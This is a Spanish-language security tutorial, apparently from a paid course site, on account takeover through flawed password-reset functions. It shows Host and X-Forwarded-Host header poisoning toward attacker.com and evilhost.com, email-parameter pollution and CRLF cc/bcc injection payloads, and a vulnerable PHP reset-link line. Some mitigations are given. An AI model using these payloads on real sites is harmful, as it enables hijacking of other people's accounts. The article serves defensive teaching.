🔥Adquiere tu membresía:  acceso a todos los cursos, videos eliminados, contenidos protegidos, manuales y más. >> Ver Más

Adquisición de cuentas de usuario mediante el restablecimiento de contraseña

En este artículo, exploraremos las vulnerabilidades en las funciones de restablecimiento de contraseña que pueden permitir a un atacante hacerse cargo de cuentas de usuarios.

Algunas de estas vulnerabilidades están presentes por diseño, lo que significa que la función se implementa incorrectamente. No obstante, otras son causadas por manipulación maliciosa, como hacer clic en el enlace de un atacante.

Es muy importante que tanto el desarrollador como el usuario comprendan el origen de estas vulnerabilidades. Recordemos que la función de restablecimiento de contraseña se usa mucho en los formularios de inicio de sesión.

Restablecimiento de contraseña

Las funciones de restablecimiento de contraseña son posiblemente una de las funciones más importantes que puede tener cualquier sitio web. 

Es muy improbable que tú, como usuario, puedas recordar todas tus contraseñas para todas tus diferentes cuentas. Hoy en día, el usuario promedio de Internet tiene cuentas de correo electrónico, Facebook, Instagram, LinkedIn y Twitter. Además, probablemente un par de aplicaciones de servicios públicos que necesitan su autenticación, como su aplicación de banca electrónica o su aplicación de operador móvil. Podrías decirme que un usuario no debe recordar todas sus contraseñas, este puede guardar sus contraseñas en sus dispositivos. Bueno, esto tiene dos grandes inconvenientes:

  • Guardar las contraseñas te ayudará a olvidarlas mucho más rápido, lo que te obligará a utilizar la función de restablecimiento con mucha frecuencia.
  • Cambiar de dispositivo también borrará todas tus contraseñas, a menos que estén todas respaldadas en la nube, lo cual dudo mucho.

Sé lo que estás pensando: quieres usar tu fecha de nacimiento o el segundo nombre de tu cónyuge como contraseña. No tiene sentido decirte que esta podría no ser la mejor idea.

Entonces, para resumir, la función de recuperación de contraseña no desaparecerá pronto. Entonces, lo mejor es que comprendas mejor cómo usarla para evitar la apropiación de tu cuenta de usuario.

Filtración de token de restablecimiento de contraseña a través de referencia

El encabezado Referrer es un encabezado HTTP que a veces está presente en solicitudes HTTP para comunicarse con el servidor host de donde proviene la solicitud. Por ejemplo, en la solicitud a continuación, example.com accede al host a través de la página de Linkedin de un usuario. La solicitud GET contendrá un encabezado Referrer que le indicará al host que la solicitud proviene de LinkedIn.

GET /hello HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.example.com
Referrer: www.linkedin.com/feed
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Ahora imagina que un usuario está usando una determinada aplicación y llega a la página de inicio de sesión. En la misma página, en la barra de navegación inferior, hay enlaces a sitios web externos como cuentas de redes sociales. Encontramos este tipo de páginas con mucha frecuencia en la web. 

Ahora, cuando un usuario hace clic en el botón olvidé la contraseña, es donde comienza todo. El usuario recibirá un correo electrónico que lo redireccionará a una página de la aplicación web donde podrá cambiar la contraseña. 

Si miras la URL en la página de restablecimiento, contiene algún tipo de código o token. Este token es la única forma que tiene el servidor de identificar al usuario y cambiar la contraseña en consecuencia. 

Imaginemos que en lugar de cambiar la contraseña y enviar el formulario, el usuario hace clic en uno de los logotipos de redes sociales del sitio. En una aplicación vulnerable, el token presente en la URL se filtrará a través del encabezado Referrer a la plataforma de redes sociales de terceros. Esto permitirá que el host cambie tu contraseña.

GET /somefacebookpage HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.facebook.com
Referrer: www.vulnerable-app.com/reset-password?token=A7D8f512hgxde
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Mitigación

La gravedad de esta filtración puede mitigar por varios factores:

  • La mayoría de los tokens de restablecimiento de contraseña se invalidan una vez que el usuario completa el formulario de restablecimiento de contraseña. Por lo tanto, es probable que la ventana para usar un enlace de restablecimiento de contraseña filtrado sea bastante pequeña.
  • A menos que el contenido generado por el usuario se muestre incorrectamente en la página de restablecimiento de contraseña, un atacante no puede controlar a qué sitios se filtra el token.
  • Si se filtra el token, lo más probable es que se filtre a un sitio que tú consideras un socio de confianza.

Adquisición de la cuenta a través del envenenamiento del restablecimiento de contraseña

Algunas aplicaciones crean incorrectamente la URL de restablecimiento de contraseña para enviarla al correo electrónico de un usuario. Esto puede tener un impacto devastador en la seguridad porque esta vulnerabilidad es muy fácil de explotar. Te mostraré cómo.

Imagina que soy un atacante. Yo quiero poner en peligro tu cuenta en una aplicación de terceros que contiene una función de restablecimiento de contraseña mal implementada.

Escribiré tu correo electrónico en el cuadro de texto para restablecer la contraseña y presionaré el botón para restablecer la contraseña. Enviaré la solicitud a través de Burp y modificaré el encabezado Host de esta manera:

La aplicación vulnerable construirá un enlace de restablecimiento y lo enviará al correo electrónico de la víctima para restablecer su contraseña. Si el enlace de restablecimiento en el correo electrónico se construye en función del encabezado Host de la solicitud, se verá así:

Host: attacker.com
OR
Host: target.com 
X-Forwarded-Host: attacker.com
OR
Host: target.com
Host: attacker.com

Cuando el usuario hace clic en él, envía el token al host del atacante. Este ahora puede modificar la contraseña del usuario y tomar el control de la cuenta.

https://evilhost.com/reset-password.php?token=12345678-1234-1234-1234-12345678901

Un desarrollador puede mitigar esta vulnerabilidad utilizando en $_SERVER['SERVER_NAME'] en lugar de $_SERVER['HTTP_HOST'] cuando genera un enlace de restablecimiento de contraseña.

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

Restablecimiento de contraseña con la manipulación de parámetros del correo electrónico

Algunas funcionalidades de restablecimiento de contraseñas envían solicitudes POST al servidor de aplicaciones web. Estas solicitudes se envían con un parámetro de correo electrónico que contiene el correo electrónico del usuario que desea restablecer su cuenta. 

Esta vulnerabilidad está presente cuando el servidor no analiza y limpia el parámetro de correo electrónico correctamente. El atacante puede usar esto en su beneficio alterando el parámetro de correo electrónico. Por lo tanto, puede enviar el enlace de restablecimiento a su correo electrónico personal en lugar de a la dirección de la víctima.

En la página olvidé mi contraseña, el atacante inserta el correo electrónico de su víctima y hace clic en el botón Restablecer. Intercepta la solicitud usando Burp. Suele verse así:

POST /resetPassword 
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: some-length
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: KeepAlive
email=victim@email.com

El atacante puede cambiar el parámetro email agregando su correo electrónico usando varios métodos:

email=victim@email.com&email=attacker@email.com
email=victim@email.com%20email=attacker@email.com
email=victim@email.com|email=attacker@email.com
email="victim@mail.tld",email="attacker@mail.tld"

o agregándose en el cc o bcc del correo electrónico de restablecimiento:

email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"

Para mitigar este ataque, el desarrollador debe analizar correctamente y limpiar el valor del parámetro de correo electrónico antes de usarlo.

Control total de la cuenta mediante el cambio de correo electrónico y contraseña de cualquier usuario a través de parámetros de API

En ocasiones, cuando un usuario ingresa su nueva contraseña y hace clic en el botón ‘cambiar contraseña’, se realiza una solicitud muy extraña al servidor:

POST /changePassword 
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: some-length
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: KeepAliveemail="victim@email.tld"&password="12345678"

Bueno, si alguna vez ves una solicitud de este tipo cuando modificas tu contraseña, espero que no esté codificada por un desarrollador experto. Por ejemplo, el desarrollador que codificó tu aplicación de banca electrónica.

Un atacante puede simplemente interceptar esta solicitud usando Burp y cambiar la contraseña de cualquier cuenta de correo electrónico. Este lo puede hacer cambiando el valor de los parámetros de correo electrónico y contraseña. Nunca uses esta implementación para cambiar la contraseña.

Existen otros métodos, como intentar adivinar cómo se construye el token de restablecimiento e intentar generar uno para la dirección de correo electrónico de la víctima. También utilizando tokens caducados, tokens de restablecimiento por fuerza bruta o usando tus propios tokens para restablecer la contraseña de una víctima. Un buen desarrollador debe conocer todos estos métodos para crear funcionalidades confiables en su sitio web siguiendo las mejores prácticas.

Deja un comentario

Adquiere tu Membresía Anual Wiser

Adquiere tu Membresía Anual Wiser y adquiere grandes beneficios

Más información